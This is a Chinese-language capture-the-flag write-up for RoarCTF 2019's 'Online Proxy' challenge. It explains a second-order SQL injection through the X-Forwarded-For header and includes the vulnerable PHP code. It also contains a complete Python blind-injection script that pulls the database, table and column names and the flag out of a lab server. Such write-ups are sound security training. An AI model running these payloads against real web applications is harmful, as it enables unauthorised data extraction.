[RoarCTF 2019]Online Proxy

[RoarCTF 2019]Online Proxy

考点

  • 盲注

  • 二次注入

wp

直接输入参数 ?url=https://baidu.com/ 在请求包发现注释的 Current Ip 在HTTP header加上X-Forwarded-For: 127.0.1.23发现这个IP写入了 Current Ip

<?php
$last_ip = "";
$result = query("select current_ip, last_ip from ip_log where uu");
if(count($result) > 0) {
    if($ip !== $result[0]['current_ip']) {
        $last_ip = $result[0]['current_ip'];

        query("delete from ip_log where uu");
    } else {
        $last_ip = $result[0]['last_ip'];
    }
}

query("insert into ip_log values ('".addslashes($uuid)."', '".addslashes($ip)."', '$last_ip');");
die("\n<!-- Debug Info: \n Duration: $time s \n Current Ip: $ip ".($last_ip !== "" ? "\nLast Ip: ".$last_ip : "")." -->");

这里是一个二次注入,下面给出详细分析

根据已知信息,不难判断数据库中存在三个字段,分别是 current_ip,last_ip和uuid 在初始情况下,last_ip是空的

此时修改HTTP请求头为X-Forwarded-For: testtest,由于新输入的IP和数据库中保存的当前IP不同,所以会删除已存储的,然后经过addslashes()函数转义新的IP,再将新的IP和last_ip插入 如果相同,就会将数据库中存储的last_ip赋值给变量,然后再转义进行插入。根据代码此时的ip应为testtest,last_ip为174.0.0.2 插入语句顺序如下

insert into table values ('x', '174.0.0.2', '');
insert into table values ('x', 'testtest', '174.0.0.2');

假设输入为 X-Forwarded-For: 1' or '1,因为和已存储的current_ip不同,所以会删除以前的内容,然后经过addslashes()函数转义,再存入数据库,存入数据库的内容为 1' or '1 ,根据代码此时的ip应为1' or '1,last_ip为testtest

insert into table values ('x', '1\' or \'1', 'testtest');

然后输入X-Forwarded-For: 123456,因为和已存储的current_ip不同,会把last_ip赋值为1' or '1 然后删除,再插入。如下语句,很明显构成了注入,'1' or '1' 的结果为 1,所以最后结果为 1,但是这是插入之后last_ip的值,根据代码,此时的ip应为123456,last_ip为1' or '1

insert into table values ('x', '123456', '1' or '1');

再输入X-Forwarded-For: 123456时,才会看到经过SQL运算之后的值

脚本如下

import requests

url = 'http://node3.buuoj.cn:29612/?url=http://127.0.0.1/'

# ctf
def get_database():
    flag = ''
    for i in range(1, 50):
        low = 32
        high = 126
        mid = (low+high)//2
        print(flag)
        
        while low < high:
            payload = f"0' or (ascii(substr((select database()),{i},1))>{mid}) or '0"

            header = {
                'Cookie': 'track_uuid=2a04ebb6-db29-4542-8183-4adb4e1fd008',
                'X-Forwarded-For': payload
            }
            
            requests.get(url=url, headers=header)
            
            header = {
                'Cookie': 'track_uuid=2a04ebb6-db29-4542-8183-4adb4e1fd008',
                'X-Forwarded-For': '123456'
            }
            requests.get(url=url, headers=header)
            header = {
                'Cookie': 'track_uuid=2a04ebb6-db29-4542-8183-4adb4e1fd008',
                'X-Forwarded-For': '123456'
            }
            r = requests.get(url=url, headers=header)
            
            if 'Last Ip: 1' in r.text:
                low = mid + 1
            else:
                high = mid
            
            mid = (low+high)//2
            
            if low == high:
                flag = flag + chr(low)
                break
                
# information_schema,ctf,F4l9_D4t4B45e
def get_all_database():
    flag = ''
    for i in range(1, 50):
        low = 32
        high = 126
        mid = (low+high)//2
        print(flag)
        
        while low < high:
            payload = f"0' or (ascii(substr(reverse((select group_concat(schema_name) from information_schema.schemata)),{i},1))>{mid}) or '0"

            header = {
                'Cookie': 'track_uuid=2a04ebb6-db29-4542-8183-4adb4e1fd008',
                'X-Forwarded-For': payload
            }
            
            requests.get(url=url, headers=header)
            
            header = {
                'Cookie': 'track_uuid=2a04ebb6-db29-4542-8183-4adb4e1fd008',
                'X-Forwarded-For': '123456'
            }
            requests.get(url=url, headers=header)
            header = {
                'Cookie': 'track_uuid=2a04ebb6-db29-4542-8183-4adb4e1fd008',
                'X-Forwarded-For': '123456'
            }
            r = requests.get(url=url, headers=header)
            
            if 'Last Ip: 1' in r.text:
                low = mid + 1
            else:
                high = mid
            
            mid = (low+high)//2
            
            if low == high:
                flag = flag + chr(low)
                break
# F4l9_t4b1e
def get_table():
    flag = ''
    for i in range(1, 50):
        low = 32
        high = 126
        mid = (low+high)//2
        print(flag)
        
        while low < high:
            payload = f"0' or (ascii(substr(((select group_concat(table_name) from information_schema.tables where table_schema='F4l9_D4t4B45e')),{i},1))>{mid}) or '0"

            header = {
                'Cookie': 'track_uuid=2a04ebb6-db29-4542-8183-4adb4e1fd008',
                'X-Forwarded-For': payload
            }
            
            requests.get(url=url, headers=header)
            
            header = {
                'Cookie': 'track_uuid=2a04ebb6-db29-4542-8183-4adb4e1fd008',
                'X-Forwarded-For': '123456'
            }
            requests.get(url=url, headers=header)
            header = {
                'Cookie': 'track_uuid=2a04ebb6-db29-4542-8183-4adb4e1fd008',
                'X-Forwarded-For': '123456'
            }
            r = requests.get(url=url, headers=header)
            
            if 'Last Ip: 1' in r.text:
                low = mid + 1
            else:
                high = mid
            
            mid = (low+high)//2
            
            if low == high:
                flag = flag + chr(low)
                break
                
# F4l9_C01uMn
def get_column():
    flag = ''
    for i in range(1, 50):
        low = 32
        high = 126
        mid = (low+high)//2
        print(flag)
        
        while low < high:
            payload = f"0' or (ascii(substr(((select group_concat(column_name) from information_schema.columns where table_name='F4l9_t4b1e')),{i},1))>{mid}) or '0"

            header = {
                'Cookie': 'track_uuid=2a04ebb6-db29-4542-8183-4adb4e1fd008',
                'X-Forwarded-For': payload
            }
            
            requests.get(url=url, headers=header)
            
            header = {
                'Cookie': 'track_uuid=2a04ebb6-db29-4542-8183-4adb4e1fd008',
                'X-Forwarded-For': '123456'
            }
            requests.get(url=url, headers=header)
            header = {
                'Cookie': 'track_uuid=2a04ebb6-db29-4542-8183-4adb4e1fd008',
                'X-Forwarded-For': '123456'
            }
            r = requests.get(url=url, headers=header)
            
            if 'Last Ip: 1' in r.text:
                low = mid + 1
            else:
                high = mid
            
            mid = (low+high)//2
            
            if low == high:
                flag = flag + chr(low)
                break
                
# flag{0238f77f-f8af-457d-bc43-0224d4d98428}  
def get_flag():
    flag = ''
    for i in range(1, 100):
        low = 32
        high = 126
        mid = (low+high)//2
        print(flag)
        
        while low < high:
            # flag在另外一个数据库
            payload = f"0' or (ascii(substr(reverse((select group_concat(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e)),{i},1))>{mid}) or '0"

            header = {
                'Cookie': 'track_uuid=2a04ebb6-db29-4542-8183-4adb4e1fd008',
                'X-Forwarded-For': payload
            }
            
            requests.get(url=url, headers=header)
            
            header = {
                'Cookie': 'track_uuid=2a04ebb6-db29-4542-8183-4adb4e1fd008',
                'X-Forwarded-For': '123456'
            }
            requests.get(url=url, headers=header)
            header = {
                'Cookie': 'track_uuid=2a04ebb6-db29-4542-8183-4adb4e1fd008',
                'X-Forwarded-For': '123456'
            }
            r = requests.get(url=url, headers=header)
            
            if 'Last Ip: 1' in r.text:
                low = mid + 1
            else:
                high = mid
            
            mid = (low+high)//2
            
            if low == high:
                flag = flag + chr(low)
                break
get_flag()

最后更新于